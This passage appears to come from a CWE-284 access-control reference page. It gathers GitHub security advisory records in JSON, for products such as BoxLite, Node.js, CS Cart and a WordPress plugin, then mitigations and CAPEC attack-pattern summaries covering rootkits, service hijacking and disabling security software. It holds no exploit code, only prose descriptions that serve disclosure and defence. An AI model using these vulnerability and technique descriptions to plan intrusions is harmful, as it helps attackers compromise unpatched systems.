PoC fails with `EPERM`.\n3. **TSI network isolation.** When the network is disabled, the implicit vsock is replaced with an explicit vsock with no TSI features, closing a related guest\u2192host socket-forwarding path.\n\nRegression coverage: `src/boxlite/tests/security_enforcement.rs` (Rust core) and `sdks/python/tests/test_readonly_volume_remount.py` (Python SDK) both replay the PoC remount attack and assert it fails.\n\n**Remediation:** upgrade to boxlite **0.9.0 or later** (all SDKs: PyPI `boxlite`, npm `@boxlite-ai/boxlite`, Go module `github.com/boxlite-ai/boxlite/sdks/go`, crates.io `boxlite` / `boxlite-cli`). There is no workaround for affected versions; upgrade is required.",
"id": "GHSA-g6ww-w5j2-r7x3",
"modified": "2026-06-12T19:27:51Z",
"published": "2026-05-21T21:52:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/boxlite-ai/boxlite/security/advisories/GHSA-g6ww-w5j2-r7x3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46695"
},
{
"type": "WEB",
"url": "https://github.com/boxlite-ai/boxlite/pull/454"
},
{
"type": "PACKAGE",
"url": "https://github.com/boxlite-ai/boxlite"
},
{
"type": "WEB",
"url": "https://github.com/boxlite-ai/boxlite/releases/tag/v0.9.0"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0147.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "BoxLite: Permission Bypass Allows Modification of Read-Only Files"
}
GHSA-G6X6-6285-48MP
Vulnerability from github – Published: 2025-10-07 15:30 – Updated: 2025-10-07 15:30A weakness has been identified in SourceCodester Hotel and Lodge Management System 1.0. The impacted element is an unknown function of the file /profile.php of the component Profile Page. Executing manipulation of the argument image can lead to unrestricted upload. The attack may be launched remotely. The exploit has been made available to the public and could be exploited.
{
"affected": [],
"aliases": [
"CVE-2025-11398"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-07T15:16:01Z",
"severity": "MODERATE"
},
"details": "A weakness has been identified in SourceCodester Hotel and Lodge Management System 1.0. The impacted element is an unknown function of the file /profile.php of the component Profile Page. Executing manipulation of the argument image can lead to unrestricted upload. The attack may be launched remotely. The exploit has been made available to the public and could be exploited.",
"id": "GHSA-g6x6-6285-48mp",
"modified": "2025-10-07T15:30:28Z",
"published": "2025-10-07T15:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11398"
},
{
"type": "WEB",
"url": "https://github.com/TThuyyy/cve1/issues/7"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.327335"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.327335"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.665038"
},
{
"type": "WEB",
"url": "https://www.sourcecodester.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G732-V5QW-RGMX
Vulnerability from github – Published: 2022-05-17 03:03 – Updated: 2022-05-17 03:03sociomantic-tsunami git-hub before 0.10.3 allows remote attackers to execute arbitrary code via a crafted repository URL.
{
"affected": [],
"aliases": [
"CVE-2016-7793"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-01-19T20:59:00Z",
"severity": "HIGH"
},
"details": "sociomantic-tsunami git-hub before 0.10.3 allows remote attackers to execute arbitrary code via a crafted repository URL.",
"id": "GHSA-g732-v5qw-rgmx",
"modified": "2022-05-17T03:03:25Z",
"published": "2022-05-17T03:03:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7793"
},
{
"type": "WEB",
"url": "https://github.com/sociomantic-tsunami/git-hub/issues/197"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/09/30/2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/93249"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G74Q-GH4W-3JMF
Vulnerability from github – Published: 2025-07-31 18:32 – Updated: 2025-07-31 21:31An issue was discovered in CS Cart 4.18.3 allows the vendor login functionality lacks essential security controls such as CAPTCHA verification and rate limiting. This allows an attacker to systematically attempt various combinations of usernames and passwords (brute-force attack) to gain unauthorized access to vendor accounts. The absence of any blocking mechanism makes the login endpoint susceptible to automated attacks.
{
"affected": [],
"aliases": [
"CVE-2025-50850"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-31T16:15:31Z",
"severity": "HIGH"
},
"details": "An issue was discovered in CS Cart 4.18.3 allows the vendor login functionality lacks essential security controls such as CAPTCHA verification and rate limiting. This allows an attacker to systematically attempt various combinations of usernames and passwords (brute-force attack) to gain unauthorized access to vendor accounts. The absence of any blocking mechanism makes the login endpoint susceptible to automated attacks.",
"id": "GHSA-g74q-gh4w-3jmf",
"modified": "2025-07-31T21:31:52Z",
"published": "2025-07-31T18:32:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50850"
},
{
"type": "WEB",
"url": "https://github.com/hackerwahab/CS-Cart-Vulns/blob/main/CVE-2025-50850.md"
},
{
"type": "WEB",
"url": "http://cs.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G779-8RVR-37XX
Vulnerability from github – Published: 2026-06-26 03:31 – Updated: 2026-06-26 03:31A flaw in Node.js TLS hostname handling can cause Embedded-nul hostnames can lead to silent authority rebinding due to c-string truncation in resolver bindings.
This vulnerability affects all supported release lines: Node.js 22, Node.js 24, and Node.js 26.
{
"affected": [],
"aliases": [
"CVE-2026-48930"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-26T02:16:52Z",
"severity": "MODERATE"
},
"details": "A flaw in Node.js TLS hostname handling can cause Embedded-nul hostnames can lead to silent authority rebinding due to c-string truncation in resolver bindings.\n\nThis vulnerability affects all supported release lines: **Node.js 22**, **Node.js 24**, and **Node.js 26**.",
"id": "GHSA-g779-8rvr-37xx",
"modified": "2026-06-26T03:31:29Z",
"published": "2026-06-26T03:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48930"
},
{
"type": "WEB",
"url": "https://nodejs.org/en/blog/vulnerability/june-2026-security-releases"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-G789-9H8J-6WHM
Vulnerability from github – Published: 2025-08-26 15:31 – Updated: 2025-08-26 18:31Incorrect access control in the EEPROM component of Kapsch TrafficCom RIS-9160 & RIS-9260 Roadside Units (RSUs) v3.2.0.829.23, v3.8.0.1119.42, and v4.6.0.1211.28 allows attackers to replace password hashes stored in the EEPROM with hashes of their own, leading to the escalation of privileges to root.
{
"affected": [],
"aliases": [
"CVE-2025-25732"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-922"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-26T15:15:42Z",
"severity": "MODERATE"
},
"details": "Incorrect access control in the EEPROM component of Kapsch TrafficCom RIS-9160 \u0026 RIS-9260 Roadside Units (RSUs) v3.2.0.829.23, v3.8.0.1119.42, and v4.6.0.1211.28 allows attackers to replace password hashes stored in the EEPROM with hashes of their own, leading to the escalation of privileges to root.",
"id": "GHSA-g789-9h8j-6whm",
"modified": "2025-08-26T18:31:15Z",
"published": "2025-08-26T15:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25732"
},
{
"type": "WEB",
"url": "https://cwe.mitre.org/data/definitions/922.html"
},
{
"type": "WEB",
"url": "https://phrack.org/issues/72/16_md"
},
{
"type": "WEB",
"url": "https://www.kapsch.net/_Resources/Persistent/3d251a8445e0bf50093903ad70b3dbed34dec7e7/KTC-CVS_RIS-9260_DataSheet.pdf"
},
{
"type": "WEB",
"url": "https://www.kapsch.net/_Resources/Persistent/55fb8d0fb279262809eac88d457894db1b3efcd5/Kapsch_RIS-9160_Datasheet_EN.pdf"
},
{
"type": "WEB",
"url": "https://www.kapsch.net/en"
},
{
"type": "WEB",
"url": "https://www.kapsch.net/en/press/releases/ktc-20200813-pr-en"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G79W-6XP3-X2MW
Vulnerability from github – Published: 2025-09-16 00:30 – Updated: 2025-11-04 03:30An issue existed in the handling of environment variables. This issue was addressed with improved validation. This issue is fixed in macOS Tahoe 26. An app may be able to access sensitive user data.
{
"affected": [],
"aliases": [
"CVE-2025-43294"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-15T23:15:32Z",
"severity": "MODERATE"
},
"details": "An issue existed in the handling of environment variables. This issue was addressed with improved validation. This issue is fixed in macOS Tahoe 26. An app may be able to access sensitive user data.",
"id": "GHSA-g79w-6xp3-x2mw",
"modified": "2025-11-04T03:30:25Z",
"published": "2025-09-16T00:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43294"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125110"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125632"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125637"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125639"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Sep/53"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G7FV-V867-RMWJ
Vulnerability from github – Published: 2024-09-13 15:31 – Updated: 2024-09-18 15:30The MStore API – Create Native Android & iOS Apps On The Cloud plugin for WordPress is vulnerable to unauthorized user registration in all versions up to, and including, 4.15.3. This is due to the plugin not checking that user registration is enabled prior to creating a user account through the register() function. This makes it possible for unauthenticated attackers to create user accounts on sites, even when user registration is disabled and plugin functionality is not activated.
{
"affected": [],
"aliases": [
"CVE-2024-8269"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-13T15:15:17Z",
"severity": "HIGH"
},
"details": "The MStore API \u2013 Create Native Android \u0026 iOS Apps On The Cloud plugin for WordPress is vulnerable to unauthorized user registration in all versions up to, and including, 4.15.3. This is due to the plugin not checking that user registration is enabled prior to creating a user account through the register() function. This makes it possible for unauthenticated attackers to create user accounts on sites, even when user registration is disabled and plugin functionality is not activated.",
"id": "GHSA-g7fv-v867-rmwj",
"modified": "2024-09-18T15:30:48Z",
"published": "2024-09-13T15:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8269"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/mstore-api/tags/4.15.2/controllers/flutter-user.php#L406"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/mstore-api/tags/4.15.2/controllers/flutter-user.php#L454"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3147900/mstore-api/trunk/controllers/flutter-user.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/59c5b6e7-74b0-430d-8b4a-5a42220f3ec9?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.